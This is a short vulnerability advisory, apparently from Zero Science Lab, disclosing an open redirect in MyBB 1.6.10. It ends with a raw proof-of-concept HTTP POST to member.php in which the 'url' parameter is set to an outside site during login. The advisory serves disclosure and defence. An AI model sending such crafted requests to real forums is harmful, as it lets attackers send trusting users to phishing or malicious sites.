MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability Vendor: MyBB Group Product web page: http://www.mybb.com Affected version: 1.6.10 Summary: MyBB, also known as MyBBoard or MyBulletinBoard, is a powerful, efficient, and free forum package, developed using PHP and MySQL. Desc: Input passed via the 'url' parameter in 'member.php' script is not properly verified before being used to redirect users. This can be exploited to redirect a user to an arbitrary website e.g. when a user clicks a specially crafted link to the affected script hosted on a trusted domain. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5152 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5152.php 02.08.2013 --- POST /mybb/member.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/mybb/index.php Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 133 action=do_login&url=http://www.zeroscience.mk&quick_login=1&quick_username=admin&quick_password=admin&submit=Login&quick_remember=yes